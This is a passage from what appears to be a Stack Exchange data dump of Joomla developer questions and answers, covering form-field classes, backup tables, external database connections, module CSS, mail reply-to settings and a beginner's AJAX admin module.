\&quot;ordering\&quot;],\&quot;displayLookup\&quot;:[{\&quot;sourceColumn\&quot;:\&quot;catid\&quot;,\&quot;targetTable\&quot;:\&quot;#__categories\&quot;,\&quot;targetColumn\&quot;:\&quot;id\&quot;,\&quot;displayColumn\&quot;:\&quot;title\&quot;},{\&quot;sourceColumn\&quot;:\&quot;created_by\&quot;,\&quot;targetTable\&quot;:\&quot;#__users\&quot;,\&quot;targetColumn\&quot;:\&quot;id\&quot;,\&quot;displayColumn\&quot;:\&quot;name\&quot;},{\&quot;sourceColumn\&quot;:\&quot;access\&quot;,\&quot;targetTable\&quot;:\&quot;#__viewlevels\&quot;,\&quot;targetColumn\&quot;:\&quot;id\&quot;,\&quot;displayColumn\&quot;:\&quot;title\&quot;},{\&quot;sourceColumn\&quot;:\&quot;modified_by\&quot;,\&quot;targetTable\&quot;:\&quot;#__users\&quot;,\&quot;targetColumn\&quot;:\&quot;id\&quot;,\&quot;displayColumn\&quot;:\&quot;name\&quot;} ]}')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;please customize as your need&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a hope this help...&lt;/p&gt;&#xA;" OwnerUserId="12333" LastActivityDate="2018-03-15T10:35:59.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22553" PostTypeId="1" CreationDate="2018-03-15T15:58:45.963" Score="3" ViewCount="654" Body="&lt;p&gt;I've disable &lt;code&gt;chosen.js&lt;/code&gt; so that all my &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; tags are plain HTML, but am so far unable to change the default class of &lt;code&gt;inputbox&lt;/code&gt; to one of my choosing, &#xA;(specificially from the Search Tools filters of my component page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at a number of answers and tutorials about overriding forms, but I'm either not understanding the examples, or looking at the wrong kind of overrides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, I want to change the class of any &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; that is generated in &lt;code&gt;libraries\cms\html\select.php&lt;/code&gt;.  I've tried adding the path/file to my template, but can't get that to do it.  I see that it's generating the field with &lt;code&gt;$options&lt;/code&gt; as below, but I can't figure where THAT is being determined and supplied.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options Array (&#xA;    [format.depth] =&amp;gt; 0&#xA;    [format.eol] =&amp;gt; &#xA;&#xA;    [format.indent] =&amp;gt;  &#xA;    [id] =&amp;gt; filter_event_group_id&#xA;    [list.attr] =&amp;gt; class=&quot;inputbox&quot; onchange=&quot;this.form.submit()&quot;&#xA;    [list.translate] =&amp;gt; &#xA;    [option.key] =&amp;gt; value&#xA;    [option.text] =&amp;gt; text&#xA;    [list.select] =&amp;gt; &#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My attempts at specifying it in the XML at &lt;a href=&quot;https://docs.joomla.org/List_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;List form field type&lt;/a&gt; are failing as well - the page just comes up blank, though that was a shot in the dark because my field is actually a &lt;a href=&quot;https://docs.joomla.org/SQL_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;SQL Form Field Type&lt;/a&gt; which apparently does NOT support the Class parameter like the Select does.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;created_by&quot; class=&quot;MyChosenClassname&quot; type=&quot;sql&quot;...`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, the question is either how do I add this override to my template properly, or how do I specify the Class name to be used in the generated &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; tags?&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2018-03-15T16:50:25.400" LastActivityDate="2019-05-10T20:02:25.483" Title="How can I change the Class of SELECT fields that Joomla generates'" Tags="|css|form|form-fields-types|jhtml|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22555" PostTypeId="1" AcceptedAnswerId="22557" CreationDate="2018-03-15T17:03:19.367" Score="1" ViewCount="117" Body="&lt;p&gt;I have a Joomla website, and somehow, the database shows duplicate entries for every table row. The duplicates all start with bak_. I assume it was caused by some sort of backup process, but this has never happened with any of my other Joomla sites. I always just export the database periodically to perform backups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stupid question, but is it safe to simply drop all the bak_ tables? Will my website be unaffected? I assume so, but I want to be sure.&lt;/p&gt;&#xA;" OwnerUserId="11861" LastActivityDate="2020-08-02T06:02:05.173" Title="Joomla database tables have duplicates that start with bak_" Tags="|database|phpmyadmin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22556" PostTypeId="1" AcceptedAnswerId="22559" CreationDate="2018-03-15T20:39:02.990" Score="2" ViewCount="782" Body="&lt;p&gt;Context:&#xA;Joomla 3.8.5&#xA;MySQL&#xA;Joomla database = berrien_dev&#xA;External database = BMP&#xA;PHP 5.6.33&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am attempting to access in a component I am writing an external database that sits in the same MySQL server as my Joomla site. After installing and running the component on the site side, I receive this message twice &quot;Table 'berrien_dev.Estim' doesn't exist&quot;. As you can see, it is trying to find my table in the wrong database and I am stumped as to why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    protected function getListQuery()&#xA;{&#xA;    // Initialize variables and connect to remote MS SQL server&#xA;    $option = array();                          //prevent problems&#xA;&#xA;    $option['driver']   = 'mysqli';            // Database driver name&#xA;    $option['host']     = 'localhost';       // Database host name&#xA;    $option['user']     = 'mysqluser';       // User for database authentication&#xA;    $option['password'] = 'somepassword';                 // Password for database authentication&#xA;    $option['database'] = 'BMP';          // Database name&#xA;    $option['prefix']   = '';               // Database prefix (may be empty)&#xA;&#xA;&#xA;    // Connect to external database&#xA;    $E2db = JDatabaseDriver::getInstance( $option );&#xA;&#xA;    $query = $E2db-&amp;gt;getQuery(true);&#xA;&#xA;    // Create the base select statement.&#xA;    $query-&amp;gt;select('a.PartNo as PartNo, a.Descrip as Descrip, a.CustCode as CustCode,&#xA;    a.EntDate as EntDate, a.EntBy as EntBy, a.ModDate as ModDate, a.ModBy as Modby')&#xA;    -&amp;gt;from($E2db-&amp;gt;quoteName('Estim', 'a'));&#xA;&#xA;    return $query;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="12336" LastActivityDate="2018-03-16T09:29:16.063" Title="Trouble Connecting to External Database" Tags="|component|database|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22557" PostTypeId="2" ParentId="22555" CreationDate="2018-03-15T20:43:52.150" Score="2" Body="&lt;p&gt;You dont need to worry about these tables. They are generated from the Akeeba Backup extension when you perform a backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can drop these table and no, your site &lt;strong&gt;won't&lt;/strong&gt; be affected.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-03-15T20:43:52.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22558" PostTypeId="2" ParentId="22480" CreationDate="2018-03-16T07:03:40.170" Score="1" Body="&lt;p&gt;Your database contained more than one Joomla table set. The install script got confused by that. &lt;/p&gt;&#xA;" OwnerUserId="11801" LastActivityDate="2018-03-16T07:03:40.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22559" PostTypeId="2" ParentId="22556" CreationDate="2018-03-16T09:18:05.253" Score="0" Body="&lt;p&gt;You have to let the Model know which database you want to use, in your code the query is correct but will be executed on the default database driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Override the __costruct of the Model in this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct($config = array()){&#xA;    parent::__construct($config);&#xA;&#xA;    $option = array(); //prevent problems&#xA;&#xA;    $option['driver']   = 'mysql';            // Database driver name&#xA;    $option['host']     = 'localhost';    // Database host name&#xA;    $option['user']     = 'mysqluser';       // User for database authentication&#xA;    $option['password'] = 'somepassword';   // Password for database authentication&#xA;    $option['database'] = 'BMP';      // Database name&#xA;    $option['prefix']   = '';             // Database prefix (may be empty)&#xA;&#xA;    $db = JDatabaseDriver::getInstance( $option );&#xA;    parent::setDbo($db);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://docs.joomla.org/Connecting_to_an_external_database&quot; rel=&quot;nofollow noreferrer&quot;&gt;Connecting to an external database&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2018-03-16T09:18:05.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22560" PostTypeId="2" ParentId="22556" CreationDate="2018-03-16T09:29:16.063" Score="0" Body="&lt;p&gt;Where did you get this code? I'm not sure you can do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try logging $E2db and JFactory::getDbo() to see if they're the same object, and whether the login data was saved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, maybe you could create a new instance of the dbo. Something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$bmpDbo=JDatabaseDriverPdomysql($options);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I never tried, I'm not sure it will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But why not make your life easier, if they're on the same server, add the privileges to the second databases's table to your user, and simply&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$db-&amp;gt;select('BMP');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... then just run your query.&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2018-03-16T09:29:16.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22561" PostTypeId="2" ParentId="22553" CreationDate="2018-03-16T12:14:51.303" Score="0" Body="&lt;p&gt;You should just be able to add the &lt;code&gt;class&lt;/code&gt; attribute to the XML field, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;foo&quot; class=&quot;MYCLASS&quot; type=&quot;list&quot; label=&quot;My List&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;0&quot;&amp;gt;Option 1&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;1&quot;&amp;gt;Option 2&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-03-16T12:14:51.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22562" PostTypeId="1" AcceptedAnswerId="22566" CreationDate="2018-03-17T16:28:27.840" Score="1" ViewCount="128" Body="&lt;p&gt;I'm using a template which uses the following code at the top end of the container.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;countModules('advert')) : ?&amp;gt;&#xA;&amp;lt;div id=&quot;fav-verytop&quot; class=&quot;container-fluid&quot; &amp;gt;&#xA;    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;advert&quot; style=&quot;icon&quot; /&amp;gt;&#xA;    &amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;fav-advert&quot; class=&quot;span12&quot;&amp;gt;&#xA;            &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;advert&quot; style=&quot;icon&quot; /&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;This code loads a module in the &quot;advert&quot; position correctly in Chrome, but Firefox and Android load the module twice. i.e. one at the very top left of the main container and once again in a fluid row just below the first loading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Classes container-fluid and span12 are part of the Joomla bootstrap css.&#xA;Demo site: &lt;a href=&quot;http://demo.schaming.us/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;&#xA;Any ideas will be appreciated.  I've used Web Developer in Firefox and can see the various divs and css values etc.   This has been a real brain freeze.&lt;/p&gt;&#xA;" OwnerUserId="418" LastActivityDate="2018-03-18T23:42:33.037" Title="How to use nested css ID elements" Tags="|templates|css|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22563" PostTypeId="1" AcceptedAnswerId="22564" CreationDate="2018-03-17T17:29:47.693" Score="0" ViewCount="126" Body="&lt;p&gt;I want to know if there is a way in Joomla! when sending mail to define a specific adress mail for reply ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks by advance&lt;/p&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2018-03-17T22:24:50.050" Title="On send mail define a specific reply mail adress" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22564" PostTypeId="2" ParentId="22563" CreationDate="2018-03-17T22:24:50.050" Score="1" Body="&lt;p&gt;You can use addReplyTo, eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mailer-&amp;gt;addReplyTo(&quot;me@example.com&quot;, &quot;Head Office&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here it is in the API doc:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Mail.Mail.html#method_addReplyTo&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.CMS.Mail.Mail.html#method_addReplyTo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2018-03-17T22:24:50.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22566" PostTypeId="2" ParentId="22562" CreationDate="2018-03-18T23:42:33.037" Score="0" Body="&lt;p&gt;The code as written was loading the module twice.  The fix was to remove five lines of code to prevent the second load of the module.&#xA;This is the final fixed code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;countModules('advert')) : ?&amp;gt;&#xA;&amp;lt;div id=&quot;fav-verytop&quot; class=&quot;container-fluid&quot; &amp;gt;&#xA;    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;advert&quot; style=&quot;icon&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The module now loads once as it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While using Chrome, the use of Ad Blocker prevented Chrome from displaying the module the second time which provide an anomaly which made the OP think it was a browser incompatibility rather than a code problem.&lt;/p&gt;&#xA;" OwnerUserId="418" LastActivityDate="2018-03-18T23:42:33.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22568" PostTypeId="1" AcceptedAnswerId="22571" CreationDate="2018-03-20T09:09:43.750" Score="0" ViewCount="591" Body="&lt;p&gt;Since today, one of our sites has a very strange behaviour:&lt;br&gt;&#xA;- We cannot save most of our modules, it does not matter if we click save or save and close, it simply returns to the modules list, with all filters resetted&lt;br&gt;&#xA;- The module remains blocked (not checked in)&lt;br&gt;&#xA;- We can however save some modules (strangely, it does not matter the module position or type, even the standard custom module does not work)&lt;br&gt;&#xA;- This happens to existing and new modules&lt;br&gt;&#xA;- We tried to disable the Editor (JCE)&lt;br&gt;&#xA;- Updated Joomla to 3.8.6&lt;br&gt;&#xA;- Used another browser (FF + Chrome) + cleared the cache (Joomla-Cache too)&lt;br&gt;&#xA;- Yesterday it worked, we only changed css since then&lt;br&gt;&#xA;- Tried to compare the db-record of two modules (one thats working and one thats not), they are identical&lt;br&gt;&#xA;- No JS-Errors in the console&lt;br&gt;&#xA;- Joomla Debug-Console shows nothing suspicious  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to debug the saving-process?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;br&gt;&#xA;I finally managed to reproduce the issue in clear steps:&lt;br&gt;&#xA; - If i assign the module to a few menu items only, i can save it without problems&lt;br&gt;&#xA; - If i however set it to &quot;All Pages&quot;, i can save it exactly one time, the second time i save the module, it does not work, there is a endless long array in the post data containing the single assignments (?!) to all menu items, but it does not contain the task variable wich says module.apply  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... is there any limit of number of menu items that i can assign modules to? (It is a huge site with countless menu items in 8 languages)&lt;/p&gt;&#xA;" OwnerUserId="5783" LastEditorUserId="5783" LastEditDate="2018-03-20T15:20:52.530" LastActivityDate="2018-03-21T08:15:11.783" Title="Joomla 3.8.6 cannot save most modules" Tags="|joomla-3.x|module|extensions|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="22569" PostTypeId="1" AcceptedAnswerId="22570" CreationDate="2018-03-20T20:31:35.863" Score="-1" ViewCount="637" Body="&lt;p&gt;I am using JF login Pro on a site and can't for the life of me get the login button to dynamically center on mobile devices. I can center it using margins but this will not be dynamic thus the position would move depending on the size of the screen and I think writing media queries for all possible device sizes with specific margins would be a bit overkill. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping someone may be able to shed some light on this. I've never really had an issue like this before, so i'm guessing the css of the module its self may be to blame. The site can be viewed here It is the Green Login/Logout button that is almost centered when viewing in mobile view in dev tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm baffled to say the least, so hoping a fresh pair of eyes may help me resolve this annoying issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2018-03-21T08:08:47.230" LastActivityDate="2018-03-21T08:08:47.230" Title="Problem with centre aligning a module and its content" Tags="|joomla-3.x|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22570" PostTypeId="2" ParentId="22569" CreationDate="2018-03-20T21:44:13.280" Score="4" Body="&lt;p&gt;You have a cache on, so I can't point you to the exact place in the code, but basically the outside of the module has the following css at a breakpoint between 320 and 667px:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#search .module-inner {&#xA;    margin-right: 22%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the button is floating to the right within that.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.jf_l_pro .jf_l_pro_open_btn {&#xA;   float:right;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means that the button isn't aligned to the middle, but rather floats 22% to the right of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following css changes should fix it, though it may be tidier to remove unwanted code rather than override it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#search .module-inner {&#xA;    margin-right: 0;&#xA;    text-align:center;&#xA;}&#xA;&#xA;.jf_l_pro .jf_l_pro_open_btn {&#xA;  float:none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2018-03-20T21:44:13.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22571" PostTypeId="2" ParentId="22568" CreationDate="2018-03-21T08:15:11.783" Score="0" Body="&lt;p&gt;As @jamesgarret mentioned,&lt;br&gt;&#xA;we hit the max_input_vars limit, increased it to 2000, and the problem was solved!&lt;br&gt;&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5783" LastActivityDate="2018-03-21T08:15:11.783" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22574" PostTypeId="1" AcceptedAnswerId="22576" CreationDate="2018-03-22T04:13:51.380" Score="5" ViewCount="2402" Body="&lt;p&gt;I am coding my first experimental administrator/module so that I can understand how Joomla performs ajax calls.  I only need to refresh the content of my module with some server info and a couple of Google Charts calls. I want to use Joomla techniques so that I can confidently build more modules in the future using best practices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have cut out 90% of the functionality from my project to isolate where I am stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod_filefinder.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;require_once dirname(__FILE__) . '/helper.php';&#xA;if(!defined('DS')) define('DS', DIRECTORY_SEPARATOR);&#xA;$filefinder = new FileFinder(JFactory::getApplication()-&amp;gt;input-&amp;gt;post-&amp;gt;getString('path'));&#xA;require JModuleHelper::getLayoutPath('mod_filefinder');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;helper.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class FileFinder&#xA;{&#xA;    public $currentdirectory = &quot;&quot;;&#xA;    public $subdirectories = array();&#xA;    public $js = &quot;&quot;;&#xA;    public $html = &quot;&quot;;&#xA;    function __construct($path = null)&#xA;    {&#xA;        if (!$path) {&#xA;            chdir('../');&#xA;            $this-&amp;gt;currentdirectory = basename(JPATH_BASE);&#xA;            $this-&amp;gt;subdirectories = glob($this-&amp;gt;currentdirectory.DS.&quot;*&quot;, GLOB_ONLYDIR);&#xA;            $this-&amp;gt;html = &quot;container&quot;;&#xA;            $this-&amp;gt;js = &quot;&#xA;                    jQuery(function($) {&#xA;                        $('#path').on('change', function() {&#xA;                        var path = $(this).val();&#xA;                        console.log({path: path});&#xA;                        $.ajax({&#xA;                            url: 'index.php?option=com_ajax&amp;amp;module=filefinder&amp;amp;method=FileFinder&amp;amp;format=raw',  // &amp;amp;ignoreMessages &#xA;                            type: 'POST',&#xA;                            async: true,&#xA;                            cache: false,&#xA;                            data: {path: path},&#xA;                            success: function(response){&#xA;                                console.log(response); &#xA;                            }&#xA;                        });&#xA;                    });&#xA;                    $('#path').trigger('change');&#xA;                });&#xA;             &quot;;&#xA;        } else {&#xA;            $this-&amp;gt;currentdirectory = $path;&#xA;            $this-&amp;gt;subdirectories = glob($this-&amp;gt;currentdirectory.DS.&quot;*&quot;, GLOB_ONLYDIR);&#xA;        }&#xA;    }&#xA;&#xA;    public function FileFinderAjax() {&#xA;        ?&amp;gt;&amp;lt;script&amp;gt;console.log('hello');&amp;lt;/script&amp;gt;&amp;lt;?php&#xA;        echo &quot;hello&quot;;  // how do I get Ajax to get in here?!?&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;if ($filefinder-&amp;gt;html == &quot;container&quot;) { // provide container with default contents&#xA;    echo &quot;&amp;lt;div id=\&quot;filefinder_container\&quot;&amp;gt;&quot;;&#xA;        echo &quot;&amp;lt;span&amp;gt;&quot;, JTEXT::_(&quot;Current Directory&quot;), &quot; &quot;, $filefinder-&amp;gt;currentdirectory, &quot;&amp;lt;/span&amp;gt;&quot;;&#xA;        echo &quot;&amp;lt;select id=\&quot;path\&quot;&amp;gt;&amp;lt;option value=\&quot;\&quot;&amp;gt;Select a Subdirectory&amp;lt;/option&amp;gt;&quot;;&#xA;        foreach ($filefinder-&amp;gt;subdirectories as $subdirectory) {&#xA;            echo &quot;&amp;lt;option&amp;gt;$subdirectory&amp;lt;/option&amp;gt;&quot;;  //  value=\&quot;$filefinder-&amp;gt;currentdirectory&quot;.DS.&quot;$subdirectory\&quot;&#xA;        }&#xA;    echo &quot;&amp;lt;/select&amp;gt;&quot;;&#xA;    echo &quot;&amp;lt;/div&amp;gt;&quot;;&#xA;} else {  // return only the new contents to be inserted into old container&#xA;    echo &quot;&amp;lt;span&amp;gt;&quot;, JTEXT::_(&quot;Current Directory&quot;), &quot; &quot;, $filefinder-&amp;gt;currentdirectory, &quot;&amp;lt;/span&amp;gt;&quot;;&#xA;    echo &quot;&amp;lt;select id=\&quot;path\&quot;&amp;gt;&amp;lt;option value=\&quot;\&quot;&amp;gt;Select a Subdirectory&amp;lt;/option&amp;gt;&quot;;&#xA;    foreach ($filefinder-&amp;gt;subdirectories as $subdirectory) {&#xA;        echo &quot;&amp;lt;option&amp;gt;$subdirectory&amp;lt;/option&amp;gt;&quot;;  //  value=\&quot;$filefinder-&amp;gt;currentdirectory&quot;.DS.&quot;$subdirectory\&quot;&#xA;    }&#xA;    echo &quot;&amp;lt;/select&amp;gt;&quot;;&#xA;}&#xA;if ($filefinder-&amp;gt;js) {&#xA;    JHtml::_('jquery.framework');&#xA;    $document = JFactory::getDocument();&#xA;    $document-&amp;gt;addScriptDeclaration($filefinder-&amp;gt;js);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do have the &lt;code&gt;index.html&lt;/code&gt; and &lt;code&gt;mod_filefinder.xml&lt;/code&gt; files in place, I am just not adding them to my post because it is unnecessary bloat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, my console.log is displaying these things after I select a new directory:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;{path: &quot;administrator\cache&quot;}&#xA;POST http://localhost/jdem01/administrator/index.php?option=com_ajax&amp;amp;module=filefinder&amp;amp;method=FileFinder&amp;amp;format=raw 404 (Not Found)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have also tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;making &lt;code&gt;FileFinderAjax()&lt;/code&gt; a &lt;code&gt;static&lt;/code&gt; public function&lt;/li&gt;&#xA;&lt;li&gt;and approximately 50 hailmary code adjustments that I cannot recall and don't care to post.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have fruitlessly read:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.ostraining.com/blog/joomla/search-ajax/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.ostraining.com/blog/joomla/search-ajax/&lt;/a&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Using_Joomla_Ajax_Interface&lt;/a&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Developing_a_Basic_Module&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_simple_module/Developing_a_Basic_Module&lt;/a&gt;&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/20565/sending-post-data-within-module-ajax&quot;&gt;Sending POST data within module - AJAX&lt;/a&gt;&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/20554/using-ajax-in-a-custom-module-how-to-do-it?noredirect=1&amp;amp;lq=1&quot;&gt;Using AJAX in a custom module - how to do it?&lt;/a&gt;&lt;br&gt;&#xA;(... and countless other docs/forums/stackoverflow/stackexchange resources)&lt;br&gt;&#xA;(... and all of the &quot;Similar Questions&quot; recommended in the yellow box to the right of my question textarea)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Joomla 3.8.6&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update after preliminary support from @jamesgarrett and @Lodder...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am just not getting the desired response string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my files (stripped down even farther):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;administrator/modules/mod_filefinder/mod_filefinder.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;require_once dirname(__FILE__) . '/helper.php';    &#xA;$filefinder = new modFileFinderHelper();&#xA;require JModuleHelper::getLayoutPath('mod_filefinder');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;administrator/modules/mod_filefinder/helper.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class modFileFinderHelper&#xA;{&#xA;    function __construct() {&#xA;        $this-&amp;gt;currentdirectory = basename(JPATH_BASE);&#xA;    }&#xA;&#xA;    public function FileFinderAjax() {&#xA;        $data = JFactory::getApplication()-&amp;gt;input-&amp;gt;post-&amp;gt;getArray([]);&#xA;        $path = $data['data']['path'];&#xA;        ?&amp;gt;&amp;lt;script&amp;gt;console.log('&amp;lt;?=$path?&amp;gt;');&amp;lt;/script&amp;gt;&amp;lt;?php&#xA;        echo &quot;hello $path&quot;;&#xA;        JExit;&#xA;    